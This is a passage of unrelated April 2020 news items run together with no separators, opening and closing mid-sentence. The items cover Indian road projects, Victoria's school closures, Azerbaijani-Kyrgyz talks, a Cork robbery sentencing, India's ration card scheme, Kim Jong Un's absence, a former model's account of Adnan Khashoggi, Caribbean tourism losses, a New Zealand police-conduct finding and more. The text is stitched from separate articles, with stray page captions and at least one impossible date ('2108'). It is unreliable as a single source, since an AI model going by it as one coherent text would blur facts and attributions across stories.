the Covid-19 pandemic, the BRO completed some important projects this month. It opened the Rohtang Pass three weeks in advance, constructed the strategic Daporijo bridge over Subansiri river in Arunachal Pradesh and also built a permanent bridge on Ravi river connecting Kasowal enclave in Punjab to the rest of the country. Its a challenge to keep lines of communication open and to continue work on strategically important projects in these times. We worked closely with the state governments and were able to mobilise labour and also move stores and equipment to open the Rohtang pass and build the Daporijo and Kasowal bridges, Singh said. He said the BRO also cleared snow on 149 roads amounting to a length of 3,965 km. Singh said one of the top priorities for the BRO was to speed up work on the Sela tunnel. The tunnel --- announced by the government in the 2018 Budget --- forms part of a strategic road project that will reduce travel time to Tawang in Arunachal Pradesh by at least two hours. SHARE THIS ARTICLE ON Victoria's parents should assume that the current remote learning regime will remain in place for the rest of term two, Premier Daniel Andrews has said, as he resists pressure for regular classes to resume. Mr Andrews said on Tuesday that authorities could not "flick a switch" for an overnight re-opening of public schools, signalling that a gradual easing of the learn-from-home regime would not occur until the state's Chief Health Officer, Brett Sutton, believed it was safe. His comments followed confirmation that Victoria recorded just two new cases of coronavirus on Tuesday. A total of 1351 coronavirus cases have been recorded in Victoria and 1279 people have recovered. There are 23 people in hospital with 11 of them in intensive care. Seventeen people have died. The state opposition continued on Tuesday to argue for a reopening of classrooms while another Melbourne private school told parents of plans to bring back children to its campus but only for classes that cannot be taught at home. By Ofeliya Afandiyeva Azerbaijani Foreign Minister Elmar Mammadyarov and Kyrgyz Minister of Foreign Affairs and European Integration Chingiz Aydarbekov have discussed bilateral relations and novel coronavirus pandemic during a telephone conversation held on April 27, the official website of the Azerbaijani Ministry of Foreign Affairs reported. During the conversation, the sides discussed the agenda of existing cooperation in bilateral and multilateral formats, the statement reads. At the same time, the sides touched upon the current situation and exchanged views on the measures taken by both countries in the fight against the COVID-19 pandemic, as well as stressed the importance of mutual support, cooperation and exchange of experience. During the telephone conversation, the prospects of cooperation between Azerbaijan and Kyrgyzstan within various international organizations were discussed and it was agreed to continue joint efforts in this direction, MFA reported. Note that last time Mammadyarov met with Aydarbekov on the sidelines of the extraordinary meeting of the Council of Foreign Ministers of the Cooperation Council of Turkic Speaking States on February 6 this year. Within the event, the ministers touched upon cooperation within the Turkic Council and stressed the importance of further developing trade, economic and other relations between the participating countries. Azerbaijani President Ilham Aliyev paid official visit to Kyrgyz Republic in 2016 and 2108. Regarding economic cooperation, the last official figures of Azerbaijani MFA reports that during 10 months of 2018, the volume of foreign trade turnover of the Azerbaijan with the Kyrgyz Republic was $3.7 million including the volume of import of $1.4 million, the volume of export was $2.3 million. The foreign trade balance was positive $900 thousand. In general, 58 agreements have been reached between the two countries in various spheres so far. It is worthy to mention that both countries keeps high level collaboration in humanitarian sphere as well. --- Follow us on Twitter @AzerNewsAz Hard-hit cities start testing asymptomatic people Some cities and states will start testing residents who don't have symptoms to better understand how many people have been infected. Los Angeles County will expand coronavirus testing Tuesday to include delivery drivers, rideshare drivers and taxi drivers -- even if they feel fine, Los Angeles Mayor Eric Garcetti said. "These are folks that are on the frontlines, helping us get to where we need to go, helping us have food delivered to our homes," he said. In Boston, 1,000 asymptomatic residents will undergo diagnostic and antibody testing by Friday to evaluate exposure to the virus in the city, Mayor Martin Walsh said. Georgia public health workers will start visiting randomly selected homes in two of Georgia's largest counties to conduct antibody testing through blood samples. The program is voluntary. In New York, about 15% of the 7,500 people who have been tested in the state's antibody study have tested positive, Gov. Andrew Cuomo said. Those tests are "not ready for prime time," a former acting director of the CDC told Stat, a health news website. A shop assistant was terrified by a lone raider who pulled out a knife and forced her to hand over the contents of the cash register. The incident occurred on January 5 at the Spar shop in Ballydaheen, Mallow, Co Cork. At Cork Circuit Criminal Court yesterday, the raider was jailed for three years. Judge Sean O Donnabhain imposed a four-year sentence with the final year suspended on Zach Maloney, who is from the northside of Cork City but was living at Lower Bearforest, Mallow, when the crime was committed. His previous history is appalling 16 previous for robbery alone and in many of those, weapons were used, often weapons more dangerous than knives, said Judge O Donnabhain. He is hopelessly addicted to heroin. He is going to keep on offending unless something is done. Garda Denis Howard said the robbery was carried out at 6.30pm on January 5. The woman working in the Spar shop observed a man entering wearing a hoodie with the hood over his head and a scarf across his face. He pointed a knife at the cashier and he demanded she open the till. She started taking notes from the till. He told her to help him. She did so in fear. He also told her not to press the panic alarm, said Garda Howard. The raider was seen running away in the direction of Mallow Bridge. Maloney was seen coming from a wastewater area a short distance from the shop following the robbery. This area was later searched and his hoodie was recovered. He was also identified by certain tattoos on his hands. When gardai called to arrest Maloney at his home in Bearforest, they found the knife that he used in the course of the robbery. Maloney co-operated with the Garda investigation and admitted he left his house with the intention of robbing the shop, telling gardai he needed money to buy heroin. John Devlin, defending, said Maloney had relapsed on heroin after getting into a row at his local chemist a couple of weeks before the robbery. The row meant Maloney was unable to get his methadone from the chemist as part of his treatment. Mr Devlin said Maloney went back on heroin as it had not proved possible for the defendant to have his methadone prescription transferred to another chemist over the Christmas period. Garda Howard said the Spar shop assistant did not want to make a victim impact statement. She did not want to relive the incident as it was too traumatic, said Garda Howard. Mr Devlin said Maloney wrote a letter of apology to the victim. Maloney had 89 previous convictions, including 16 for robbery and three more for attempted robbery. Judge O Donnabhain noted that none of the 505 cash stolen from the shop was recovered. The judge said the chemists referred to by the defence would not deal with the defendant because he robbed the chemist shop before Christmas. Maloney pleaded guilty to robbing 505 cash from the Spar and a related charge of producing a knife while committing a robbery. Egyptian President Abdel-Fattah El-Sisi gave directives to the government to provide all the needs and medical supplies required by the coronavirus quarantine hospitals in Egypt, the presidency said. According to the presidency, El-Sisi held a meeting with a number of quarantine hospital managers, including those of Agouza hospital, 15 May hospital and Abu Khalifa hospital. The meeting was attended by Health Minister Hala Zayed, Higher Education Minister Khaled Abdel-Ghaffar and Presidential Adviser for Health Affairs Dr. Awad Tag El-Din. El-Sisi expressed his appreciation for the efforts of the medical staff and teams in those hospitals who are fighting the pandemic. He also gave directives to increase the awareness campaigns in order to correct misconceptions among some citizens concerning coronavirus that make them avoid medical tests or medical care for fear of public shaming. Egypt has recorded 5,042 cases of the virus so far, including 395 deaths and 1,304 fully recovered patients. Search Keywords: Short link: Were entering a third month of pandemic isolation, and things are only getting weirder. Even a fiction writer couldnt dream up a scenario in which the president would ponder the benefits of injecting bleach into our bloodstreams. Fortunately, the books released this month include titles based on actual science and data, whether that involves the chemistry of yeast or the reality of immigration. The fiction, meanwhile, provides portals to worlds more coherent than our current one. There are so many good excuses to keep reading and keep supporting your local booksellers. The Supreme Court on Monday asked the Central government to examine the feasibility of implementing the one nation one ration card scheme during the national lockdown so as to alleviate the hardships faced by migrant labourers who have been stranded in other states. A three-judge bench headed by justice NV Ramana passed the order in a plea by a petitioner who highlighted the plight of migrant labourers because they did not have local identity proof. we direct the Union of India to consider whether it is feasible for it to implement the said scheme at this stage or not and take appropriate decision in this regard keeping in view the present circumstances, the court said disposing of the plea. The one nation one ration card scheme, formulated by the Central government was expected to be launched in June across 20 states. The scheme is aimed at ensuring beneficiaries get what is due to them in terms of subsidised foodgrain even when they are out of their home states. Experts are not convinced the scheme will work. To serve ration card holders who are not usually buying from a PDS (public distribution system) outlet, is a major reform to the supply chain management of the PDS, said Reetika Khera. And this rejigging, supplying grain for Bihari men in Tamil Nadu or Gujarat, will have to be done across states. Even if it were possible to do it, most migrants who are stuck in the cities are likely to have left their ration card back home, for their families to use in the village. They will be better served by setting up community kitchens. The most obvious solution is temporarily universalising the PDS. There is enough grain to universalise for a year. The petitioner pointed out that many migrant workers who left their home state to work in other cities have been confined to their rented accommodation and are unable to return to their home states because of the lockdown. Millions of migrant workers ar stuck in relief camps and other sites in states other than their own, with no way of returning home. They have run out of food and with no local identity proof such as a ration card or voter card to avail of government benefits like subsidised food grains, they are facing poverty and hunger, the petition said. States and Union Territories have been giving preferences to their respective citizens and voters and denying benefits of subsidised grains, shelter, medical facilities to said migrants labourers/ employees of other states due to absence of local identity proof i.e. ration card/residential proof/ voter card, the petitioner claimed. The petitioner, therefore, prayed that the one nation one ration card scheme, which is proposed to come into effect from June 2020, should be implemented during the lockdown enforced to contain the pandemic so that migrant labourers are not denied subsidised food grains and other government benefits. Activist Nikhil Dey said there are many limitations to extending the one nation, one ration card even temporarily., pointing out that even within states portability of cards (from one district to another) is not easy. The ration cards of migrant labourers are not with them. Different schemes and coverage exists in different states, so they are reluctant to recognise migrants as being entitled to their schemes. In most cases, only one family member has a ration card. Moreover, there are 35% people who are outside the ambit of this scheme and then we have to factor in the population increase since the 2011 census in which NFSA (National Food Secuity Act) coverage is based . It would be one thing if universal ration is provided -that is, a person can avail ration using any form of identification like an Aadhaar number , or any other card. That is what the Supreme Court ordered in the Swaraj Abhiyan judgement, for circumstances of a drought , and what it should order in a pandemic and a disaster such as this one -- w e need use our overflowing food stocks to universalize the PDS to deal with hunger. North Korea's leader Kim Jong Un before a meeting with US President Donald Trump on the south side of the Military Demarcation Line that divides North and South Korea, in the Joint Security Area of Panmunjom in the Demilitarized Zone on June 30, 2019. Brendan Smialowski | AFP | Getty Images Kim Jong Un may have missed a key holiday on April 15 because of concerns over the coronavirus, not because he is ill, South Korea's minister for North Korean affairs said on Tuesday. North Korean leader Kim's absence from public ceremonies on the birth anniversary of his grandfather and founder of the country, Kim Il Sung, was unprecedented, and he has not been seen in public since. That has led to days of speculation over his health. South Korean officials emphasize they have detected no unusual movements in North Korea and have cautioned against reports that Kim may be ill. North Korea has said it has no confirmed cases of the coronavirus, but given the fact that the country has taken stringent steps to head off an outbreak, Kim's absence from the ceremonies is not particularly unusual, Unification Minister Kim Yeon-chul, who oversees North Korea engagement, told lawmakers. "It is true that he had never missed the anniversary for Kim Il Sung's birthday since he took power, but many anniversary events including celebrations and a banquet had been cancelled because of coronavirus concerns," Kim Yeon-chul said at a parliamentary hearing. He said there were at least two instances since mid-January where Kim Jong Un was out of sight for nearly 20 days. "I don't think that's particularly unusual given the current (coronavirus) situation." U.S. President Donald Trump said on Monday he has a good idea how Kim Jong Un is doing and hopes he is fine, but would not elaborate. Japanese Prime Minister Shinzo Abe said he was aware of reports on Kim's health and he was was paying close attention to developments. North Korea had cancelled some large events, and imposed a border lockdown and quarantine measures in an effort to prevent an outbreak of the coronavirus. But if Kim Jong Un is hiding out due to fears surrounding Covid-19, it would "puncture a hole in the state media narrative of how this crisis has been perfectly managed", said Chad O'Carroll, CEO of Korea Risk Group, which monitors North Korea. "If he is merely trying to avoid infection, it should theoretically be very easy to release photos or videos of a healthy-looking Kim," he said. Signs of life Government-enforced social isolation may help relatively affluent populations limit the spread of COVID-19, but these measures can be devasting for the nearly 1 billion people around the globe currently dwelling in urban slums, where physical space is scarce, and many rely on daily wage labor for survival. To help the urban poor weather the COVID-19 pandemic, governments should instead prioritize providing basic needs, including fresh water, sanitation and a moratorium on evictions, and support existing community leadership in delivering health care and emergency preparedness, argues a new report published April 24 in the Journal of Urban Health. The report, authored by a team of public health experts and epidemiologists working in collaboration with community leaders and non-governmental organizations (NGOs) from urban slums around the world, provides eight urgent recommendations for reducing the impact of COVID-19 on people living in poverty. These recommendations are crucial not just for people living in urban slums in the global south, but for other vulnerable populations, such as migrant farm workers and those living in refugee camps and homeless encampments and on Native American reservations in the United States, the authors say. Evidence now suggests that the coronavirus is disproportionately affecting black Americans in some U.S. cities, possibly due to similar structural factors, such as the inability to take time off of work. "The political and economic shocks and instability that are happening now and are likely to follow from this epidemic will likely kill more and lead to more disability in this population than the coronavirus itself," said Jason Corburn, a professor of public health and of city and regional planning at the University of California, Berkeley, and lead author of the paper. "We felt we needed a strategy that recognized the unique needs of the urban poor at the front." Close living conditions and lack of basic sanitation make urban slum dwellers particularly vulnerable to contracting and spreading the coronavirus, said study co-author Lee Riley, a professor of epidemiology and infectious diseases at UC Berkeley. Many also have pre-existing medical conditions and lack access to health care, putting them at high risk of dying or developing serious complications if they do get sick with the virus. advertisement Simply staying home is rarely an option for them, as it often means giving up work and even basic necessities like food, water and sanitation. In some countries, like Kenya and South Africa, people even face government violence for not obeying curfews and other restrictions. "Shelter-in-place is a luxury of the wealthy," Riley said. "In many slums, people need to walk a long distance to collect water to use at home. Most people living in slums also have no choice but to participate in the informal economy, which will disappear under lockdowns." Topping the list of recommendations is a call for governments to partner with existing community leadership and NGOs to form emergency planning committees that can consider the unique social, economic and cultural needs of the community in charting the appropriate response, rather than relying on top-down directives. Similarly, as many communities lack easy access to health care, community and informal health workers should be deployed to monitor individuals for early symptoms and educate them about how to avoid transmitting the disease. Plans should be also be enacted for emergency transport into and out of settlements, which often lack adequate transportation infrastructure. "The worst thing you can do in an emergency, particularly in an infectious disease outbreak, is to give everybody the same advice, because it doesn't recognize that not everybody starts in the same position," Corburn said. "Community health workers are uniquely positioned to know the preexisting conditions and the constraints that a group faces." Finally, governments should ensure that people in slums have their basic needs for shelter and food met by enacting a moratorium on evictions and by providing payments for lost work, fresh water and food, and solid waste removal. "COVID-19 became a pandemic because of the global spread of the virus by those people who can afford to travel on airplanes and cruise ships," Riley said. "As we are now seeing, inevitably, the disease has ended up in vulnerable communities of the world." "We want to be bold in calling for actions that don't just tinker around the edges," Corburn added. "It's not just about getting people some more care or better care. We're really calling for a more holistic approach to public health." Co-authors of the paper include David Vlahov of the Yale School of Nursing; Blessing Mberu of the African Population and Health Research Center in Kenya; Waleska Teixeira Caiaffa of the Federal University of Minas Gerais School of Medicine in Brazil; Sabina Faiz Rashid of BRAC University in Bangladesh; Albert Ko of the Yale School of Public Health; Sheela Patel and Smurti Jukur of the Society for the Promotion of Area Resource Centers (SPARC) in India; Eliana Martinez-Herrera of the University of Antioquia in Colombia; Saroj Jayasinghe of the University of Colombo in Sri Lanka; Siddharth Agarwal of the Urban Health Resource Centre in India; Blaise Nguendo-Yongsi of the University of Yaounde II in Cameroon; Jane Weru of the Akiba Mashinani Trust (AMT) in Kenya; Smith Ouma of Cardiff Law and Global Justice at Cardiff University in Kenya; Katia Edmundo of Centro de Promocao da Saude in Brazil; Tolullah Oni of the University of Cape Town, South Africa; and Hany Ayad of Alexandria University in Egypt. A former model has revealed how she walked away from dating billionaire Saudi playboy Adnan Khashoggi - and a life of private jets, A-list parties and five-star suites - because she couldn't stand sharing him with up to 11 other 'pleasure wives'. Californinan Jill Dodd, founder of international clothing brand Roxy, was just 20 when she first met flamboyant Saudi businessman Adnan Khashoggi, who was then in his early forties, in Cannes in the early 1980s. In a new podcast for VICE, airing on Spotify, Dodd, now 60, lifts the lid on their bizarre romance, which saw her living a glitzy life, sharing it with Khashoggi's harem of up to 11 other young women. Adnan Khashoggi was worth $4billion at the peak of his wealth in the 1970s and was often said to be the richest man in the world. The Saudi-born arms dealer was the most prolific weapons dealer of his era who brokered deals with governments, arms manufacturers and private clients across the globe. Scroll down for video Model-turned-entrepreneur Jill Dodd, now 60, has opened up about her former relationship with Saudi billionaire businessman Adnan Khashoggi, who she dated in the early 80s, sharing his attention with up to 11 other women, who he dubbed 'pleasure wives' Dodd and Khashoggi are pictured together in the early eighties when their romance saw her live a jet-set lifestyle, staying in five-star suites with the notorious Saudi arms dealer and traveling the world by private jet Mecca-born Saudi businessman Khashoggi, pictured with his third official wife, Shahpari Azam Zanganeh, in 2001, was worth $4billion at the peak of his wealth in the 1970s and was often said to be the richest man in the world In a new interview with VICE, Dodd says that she met the arms dealer, who had an insatiable appetite for beautiful young women, at a party in Cannes and on their first night together, he wrote 'I love you' using his own blood (Dodd pictured in her modeling days) The Roxy entrepreneur, who now lives in Los Angeles, says she eventually grew tired of being part of a harem, and decided to turn her back on the life of luxury being one of Khashoggi's 'pleasure wives' afforded her He also had an insatiable appetite for dating beautiful women, as Dodd discovered. She reveals some of the unnerving behavior that she experienced while dating the notorious billionaire arms dealer, who died in London 2017 at the age of 82, including him declaring his love for her on their first night together by writing 'l love you' in blood on her arm. Dodd had been working in Paris as a young model building a successful career when she jetted into Monte Carlo in the summer of 1980. She told VICE that she noticed Khashoggi staring at her at a beach-side pirate-themed party and was entranced by his odd his odd way of getting her attention, after he smashed a champagne glass while they were dancing. WHO WAS ADNAN KHASHOGGI? Born to the Saudi kings personal doctor Muhammad Khashoggi in 1935, the businessman was once dubbed 'the richest man in the world' and enjoyed a vast personal wealth of $4billion during the peak of his powers in the 1970s Adnan Khashoggi was worth $4billion at the peak of his wealth in the 1970s and was often said to be the richest man in the world. The Saudi-born arms dealer was the most prolific weapons dealer of his era who brokered deals with governments, arms manufacturers and private clients across the globe. Born in Mecca to the Saudi kings personal doctor Muhammad Khashoggi, he married Sandra Daly, a 20-year-old English woman who converted to Islam and took the name Soraya. They had five children and Soraya gave birth to another daughter, Petrina Khashoggi, shortly after the couple divorced. However, his extra-marital affairs, which allowed him up to 12 'pleasure wives' saw him court some of the world's most beautiful women, offering them a life of five-star suites, private jets and haute couture outfits. Many of his deals were brokered at glitzy parties, with celebrity friends frequently pictured with the Saudi mogul. Pictured at the 2005 Cannes Film Festival with Ivana Trump with her then partner Rossano Rubicondi While his rivals carried out business in secret, Khashoggi did deals at champagne and caviar parties that lasted for days, often in the company of Hollywood stars. On one occasion, the Stanford-educated magnate held a party in Istanbul for actress Liz Taylor after her cancer operation, while reportedly hiring rock band Queen to play at another bash. Legend has it that he spent $250,000 a day at the height of his wealth, before he was implicated in the Iran-Contra affair in the mid-1980s. The Saudi arms dealer was married officially three times, and had five children including, far left, son Mohammed and, left, daughter Nabila. The family are pictured at Elizabeth Taylor's birthday party in Cannes in 2001 Khashoggi was said to have brokered a secret sale of weapons by the US government to Iran when it was supposed to be under an arms embargo. Ronald Reagans administration triggered the sale as part of a complex deal that led Iran to release US hostages and fund the Contra rebellion in Nicaragua on behalf of the US. Reagan was forced to apologise when the scandal became public in 1987. His empire unravelled amid a series of court cases and financial difficulties forced him to sell some of his assets, including his superyacht, Nabila, which eventually ended up in the hands of now US President Donald Trump. He died at the age of 82 at his London home in 2017 after battling Parkinson's Disease. Advertisement Dodd says: 'He looked into my eyes and pushed my shirtsleeve up exposing my forearm and wrote "I love you" in his own blood. Apparently, hed cut himself smashing glasses. I had no idea who he was but I liked him a lot.' Khashoggi was already a married father-of-five when he met Dodd, but pursued a relationship because he was allowed up to 12 women to serve as his 'pleasure wives'. Ms Dodd quickly became a member of Khashoggi's harem, living in lavish suites in Saudi Arabia and taking turns to have sex with the billionaire arms dealer. While she realized she was living a life of luxury thanks to her relations with Khashoggi, she told the Australia's Channel 9 in 2017 that their relationship felt real. Dodd, a former model who was once featured in the pages of French Vogue, pictured in a more recent photo with her book about her journey of self discovery 'I never thought of myself as a hooker, I still don't think that,' she said. Dodd revealed the business tycoon made her sign a contract before they started a relationship. I discovered that chasing happiness via wealth is like running after your own shadow... Jill Dodd 'He said, "I want to take care of you, I want to make a five-year contract with you. I'll provide everything for you and you will be at my beck and call 24 hours a day,"' she said. She accepted and says that, at first, she didn't get jealous of the sharing her boyfriend with other women, including his official wife. However, after being diagnosed with severe anxiety, Dodd began to turn her back on the riches that being with the flamboyant dealer afforded her. After spotting another woman showing off a ring Khashoggi had just given her while the harem was out in Las Vegas - identical to one she had been given - she realized her dream of dating a billionaire had soured. Dodd said Khashoggi, pictured in 2001, with his son in Cannes, was 'a great lover' but that ultimately she couldn't live a life chasing extreme wealth She tells VICE: 'We broke up not long after that night in Las Vegas and it was mostly a relief. Id discovered that chasing happiness via wealth is like running after your own shadow. 'I realized there was no magic object or amount of money that makes a person feel whole and at peace. Peace isnt found in objects, power, status, or riches.' Dodd has said previously that she didn't regret her time with Khashoggi and that she loved him. 'He was great, we just melded together. He was a great lover, everything was just mutual and beautiful,' she said. Share this article Whatsapp Facebook Twitter Linkedin (Agence France-Presse) Paris Tue, April 28, 2020 20:03 624 fc6853813033f564188675f8bd4ca4e9 2 Lifestyle Saint-Laurent,fashion,Paris-Fashion-Week,coronavirus,COVID-19 Free French luxury label Saint Laurent said Monday that it was pulling out of Paris fashion week for the rest of the year, in a move widely seen as a blow against the frenetic fashion calendar seen by many as unsustainable. Designer Anthony Vaccarello said that the brand was taking back "ownership of its calendar" and would "launch its collections... driven by creativity." "Conscious of the current circumstance and its waves of radical change, Saint Laurent has decided to take control of its pace and reshape its schedule," the Belgian-born creator said in an Instagram post, with the Eiffel Tower, the traditional backdrop to its shows, in the background. "Now more than ever, the brand will lead its own rhythm," Vaccarello added. Read also: French fashion labels Saint Laurent, Balenciaga to make coronavirus face masks Paris men's and haute couture fashion weeks at the end of June and the beginning of July had already fallen victim to the coronavirus pandemic, but Saint Laurent will now also not take part in the women's runway shows, which sprawl over a fortnight in September. Vaccarello's decision comes after veteran Italian designer Giorgio Armani said last week that it was time to "cut out the superfluous" in fashion and rein in its grueling schedule. "The times that we are living in are turbulent, but they give us a unique chance to see what is not working, to cut out the superfluous, and find a more human dimension to it," the legendary creator wrote in a letter to Jetset magazine last month. "That is perhaps the most important lesson of this crisis," he added. Vaccarello's post drew strong support on Instagram from influencers and fashion followers. Campaigners have long accused the fashion industry of wasteful overproduction, with creators themselves often complaining that they were being burned out by the demands of six or more collections a year. "Saint Laurent will follow a plan conceived with an up-to-date perspective, driven by creativity," Vaccarello added. Employees of state-owned Bank of Maharashtra (BoM) donated Rs 1 crore towards the Chief Minister's Relief Fund to fight the COVID-19 pandemic. This is over and above Rs 5 crore that they have contributed to the PM-CARES Fund (Prime Minister's Citizen Assistance and Relief in Emergency Situations Fund) earlier this month, BoM said in a statement. BoM and its employees are among the front runners in the fight against the COVID-19 pandemic and are committed to providing seamless financial services across its 1,800-plus branches and more than 1,850 ATMs. In addition, banking correspondents (BCs) and Bank Mitras are providing banking services at about 3,000 locations, it said. The bank is undertaking preventive measures like providing sanitisers and maintaining social distancing during customers' visit to branches. Through all 32 zonal offices countrywide, the bank has undertaken various activities to support Corona Warriors by distributing face masks, gloves, water bottles, food packets, canopy umbrellas, and grocery items. The bank is standing beside its employees by providing various incentives and monetary relief measures for well-being of its employees while discharging their duties during the COVID-19 pandemic, it said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Australia could lose billions of dollars every year under a Chinese boycott of universities, tourism and agriculture as tensions intensify between Beijing and Canberra over the handling of the coronavirus outbreak. Foreign Minister Marise Payne on Monday slapped down China's unprecedented threat of economic retaliation for the Morrison government's push for a global review into the origin and handling of COVID-19, as national security experts warned Australia needed to reduce our economic reliance on our biggest export market. Chinese ambassador to Australia, Cheng Jingye. Credit:Alex Ellinghausen In response to an explicit threat from Chinese ambassador Cheng Jingye that our pursuit of a global COVID-19 review could spark a Chinese consumer boycott of significant Australian services and products, Senator Payne rejected "any suggestion that economic coercion is an appropriate response to a call for such an assessment, when what is needed is global co-operation". In an interview with The Australian Financial Review, Mr Cheng said Australia's diplomatic push would spark Chinese tourists to have "second thoughts" about coming to Australia, while parents of students would also think whether "this is the best place to send their kids here". By Marc Frank and Kate Chappell VARADERO, Cuba/KINGSTON (Reuters) - No one is swimming in the turquoise Caribbean waters of Cuba's Varadero beach resort, nor lounging on its white, palm-fringed beaches. Its hundreds of hotels, shops and restaurants stand empty and eerily quiet. The nearby airport, the lifeblood of Varadero's economy, closed after Cuba shut its borders two weeks ago to protect against the spread of the new coronavirus. Now, undisturbed by tourists, lizards scamper around the grounds of the luxurious hotels, on the hunt. Across the Caribbean, similar scenes of desolation are playing out as the most tourism-dependent region in the world reels from a pandemic that has shut borders, grounded airlines, berthed cruise ships and sent much of the planet into isolation since mid-March. From the historic towns of the Dominican Republic to the isolated coves of Tobago, tourism employs an estimated 2.5 million people and generates - directly and indirectly - nearly one-third of the region's economic output, according to the Caribbean Tourism Organization. As a result, there are few places where the economic impact of the pandemic may be as immediate as the archipelago's 26 small island states and dependencies, many of them already heavily indebted. "Almost all my family, all my cousins, work in tourism, said Maria Elisa Torres, who rents rooms in her home in Santa Marta near Varadero. "My cousin is a shopkeeper. She is out of a job. Her husband works in rent-a-car (company). He is out of job. My brother works with tourists on the beach and is also out of job." So far, the Caribbean region of 45 million people has reported only about 7,000 coronavirus cases and 300 deaths, the majority in the Dominican Republic. Yet millions have already lost their jobs or revenues due to the outbreak. The World Tourism Organization (UNWTO), a U.N. body dedicated to promoting the industry, last month forecast a 20% to 30% plunge in arrivals this year. Story continues The Caribbean Development Bank went further, forecasting a 50% slump if restrictions continue until September and a 100% fall if the policies stay in place all year. The International Monetary Fund (IMF) predicts the eastern Caribbean, heavily dependent on cruise lines, will be among the hardest hit. Carnival Corp said this week it was canceling all sailings until at least June 26, while Royal Caribbean Cruises suspended trips until June 11 to ensure the safety of guests and crew. In Barbados, the yellow cranes that line the port of capital Bridgetown stand starkly against a hazy blue sky amid the absence of any cruise ships. Usually six or seven ships would be docked here but the major lines have canceled their trips well into the peak summer season, said Sheldon Layne, the manager of terminal operations. 'A SERIES OF UNKNOWNS' Just a few months ago, the Caribbean Tourism Organization - the local branch of the UNWTO - was in high spirits, citing a robust recovery for the region after many islands were pummeled by hurricanes Irma and Maria in 2017. Now, the organization's staff is working from home under a lockdown and scrambling to keep up with an unprecedented drop to nearly zero visitors. Neil Walters, the Caribbean Tourism Organization's acting secretary general, said businesses are focusing on how to integrate new health protocols into travel to allow tourism to resume when restrictions gradually ease. "We are really in a series of unknowns, searching to find what very well could become the new way that tourism could operate," Jamaican Tourism Minister Edmund Bartlett told Reuters. In the meantime, authorities are trying to keep their tourism industries afloat and their people safe from the pandemic. Jamaica has announced an $8.7 million package for tourism-related business operators and workers, as well as a skills training program for people while they are idle. "Businesses do appreciate the government initiatives," said Robin Russell, owner of the Deja Resort in Jamaica's Montego Bay, who has applied for aid. He is paying staff half their salaries and using the downtime to do refurbishments. "But it's difficult, not knowing your cash flow," he said. NO BAILOUT Many Caribbean governments, hammered by the cost of fighting the pandemic amid a collapse in tax revenues, say they need financial help to weather the crisis. The only Caribbean nation to benefit automatically from debt relief is Haiti, after the G20 group of rich industrialized nations agreed on freezing debt for the world's poorest countries. But the IMF said on Thursday that some eight Caribbean countries had already applied for emergency aid. On Wednesday, the Caribbean bloc CARICOM urged the international community to consider that while some Caribbean nations have a relatively high income per capita, their often single-industry economies, highly dependent on imports and exposed to natural disaster, are vulnerable. David Jessop, a consultant to the Caribbean Council, said a recovery would be complicated by a global recession that would depress demand for tourism. "It all suggests a time horizon for the start, not the end, of Caribbean recovery being as late as the fall or winter of 2021," he told Reuters. In the meantime, those who still have work in the region's ghost-town resorts are trying to get by as best they can. Carlos Padron, who helps care for 15 captive dolphins at an aquarium in Varadero, used a whistle to summon them as they vied for his attention. "I think they miss the public a little," he said. (Reporting by Marc Frank and Mario Fuentes in Varadero, Cuba, Kate Chappell in Kingston, Robert Edison Sandiford in Bridgetown; Additional Reporting by Sarah Marsh; Editing by Daniel Flynn and Aurora Ellis) The Independent Police Conduct Authority has found that an officer's use of force was unjustified and unreasonable when he kicked a man and aimed a pistol at his head following a pursuit in April 2018. At 8am on Sunday, April 29, three men robbed a supermarket in Taupo with crowbars. Police pursued their car, successfully spiking the tyres. Officers attempted to keep the car in its lane as the driver lost control. They then tried to force the car off the road in order to protect other road users, which the Authority found to be justified. When the car came to a stop, the first officer to arrive on the scene presented his firearm at the driver and pulled him from the car, while two other officers arrived and dealt with the passengers. A witness alleged that the first officer lunged at the driver, as if to punch him, while he was handcuffed. The Authority found this most likely happened, on the balance of probabilities, and that there was no justifiable reason for doing this. Witnesses also alleged that the officer kicked one of the passengers and held a pistol to his head as he lay face-down and handcuffed on the ground. The officer denied kicking the passenger, however, the Authority is satisfied this did happen, and finds it to be unjustified and unreasonable. The officer said he initially thought the man was secured but had not confirmed this himself. When the man swore at him and rolled over slightly, he thought he posed a threat, so dived on top of him with his pistol still in his hand. His pistol was pointing towards the man's head and may have accidentally touched it. However, witnesses gave different accounts of the incident. "The passenger was not in a position to effectively resist or escape Police custody, and did not show any intention to, based on what others observed," says Authority Chair Judge Colin Doherty. "Although the officer has argued that he believed the passenger did pose a threat of resistance and escape, the Authority does not accept he actually believed this. Furthermore, even if that belief was genuine, it was not reasonable." Police subsequently charged the officer with common assault and assault with a weapon. The officer was acquitted of both charges following a jury trial in February 2020. Police acknowledges IPCA report Police acknowledges the findings of an IPCA report released today that found an officer had used excessive force during an arrest that followed a fleeing driver incident. The report found that the officer, referred to as Officer B, lunged at an alleged offender, and unjustifiably assaulted and pointed a pistol at a second alleged offender. A colleague, Officer A, raised a complaint about Officer Bs actions, alongside a number of other witnesses. Police advised the IPCA and stood Officer B down from duty. Officer B was charged with assault and assault with a weapon and was acquitted at trial. Police hold our staff to very high standards and this arrest did not live up to them," says Acting Assistant Commissioner: Districts, Bruce Bird. "The IPCAs findings indicate this officer did not uphold our values. I want to commend the officer who spoke up against behaviour he believed was inappropriate. I also want to reassure the public that any allegations involving inappropriate conduct of a Police officer will be thoroughly investigated and appropriately dealt with. An employment process in relation to this incident is ongoing and the officer remains stood down from duties. Rosamund Pike has revealed the nerves she felt when she met the Queen at the royal premiere of Die Another Day and said she practised her curtsy beforehand. The actress met the monarch after she played Miranda Frost in the 2002 Bond film opposite Pierce Brosnan. She said: When we met the Queen there were so many things that could go wrong in terms of the correct way to behave. Expand Close Pike on the receiving line with Madonna (right (PA) / Facebook Twitter Email Whatsapp Pike on the receiving line with Madonna (right (PA) I know that a lot of the younger royals dont stand on the ceremony, but I think you still want to get it right certainly when you are meeting the Queen. So, I practised my curtsy, saying maam and when to say, Your Royal Highness or Your Majesty. I have a very wonderful, treasured photo of myself, Madonna (who sang the films theme song) and the Queen from that meeting. I am sort of mid-curtsy looking slightly anxious, but I was only aged 21 and it was a very big night for me. Expand Close The Queen meets actress Halle Berry at the premiere (PA) / Facebook Twitter Email Whatsapp The Queen meets actress Halle Berry at the premiere (PA) Pike will lend her voice to the royal train, named the Duchess of Loughborough, in a special episode of Thomas & Friends to mark the 75th anniversary of Thomas The Tank Engine. Video of the Day The episode sees Thomas 